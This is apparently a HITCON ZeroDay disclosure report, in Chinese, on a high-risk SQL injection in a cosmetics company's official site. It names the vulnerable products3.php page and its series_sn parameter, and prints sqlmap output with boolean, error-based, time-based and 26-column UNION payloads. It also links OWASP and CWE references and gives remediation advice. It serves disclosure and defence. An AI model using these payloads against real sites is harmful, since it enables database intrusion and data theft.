Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00196
- 發信 Vendor: 美吾華股份有限公司
- Title: 卡樂芙官網網站，存在SQL Injection漏洞
- Introduction: 啊就...SQL Injection 漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/04/14 01:05:43 : 新提交 (由 癡情法王 更新此狀態)
- 2021/04/18 23:04:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/19 12:12:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/19 12:12:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/19 12:12:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/19 14:23:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/19 14:23:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/14 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2021-00196
- 通報者：RoRo (癡情法王)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
- 於問題URL中，將SQLi語法貼至products3.php的問題參數series_sn，會對後端資料庫執行相關SQL指令
-
使用弱掃工具SqlMap掃描問題網址，至少可以列舉出web server所使用的DB帳號，漏洞資訊如下：
+++
Parameter: series_sn (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: series_sn=-9791 OR 2961=2961#Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: series_sn=1 AND (SELECT 9183 FROM(SELECT COUNT(),CONCAT(0x7171627871,(SELECT (ELT(9183=9183,1))),0x716b707a71,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: series_sn=1 AND (SELECT 2750 FROM (SELECT(SLEEP(5)))Uyap)Type: UNION query
Title: MySQL UNION query (NULL) - 26 columns
Payload: series_sn=-6302 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171627871,0x517a554852615846527859735956777648784e696c7a4d4153614153476b654b6156476f756f4670,0x716b707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
+++
修補建議
1. 針對所有GET/POST的所得到的變數(例如：series_sn)，一定要在server side確認變數中沒有不合規的字元，例如：'、"、--、=、...等
2. 最好還能限制變數內容的字串長度、型別，並使用prepare statement來處理SQL語法的使用
3. 可google一下排除SQL injection的php程式開發範例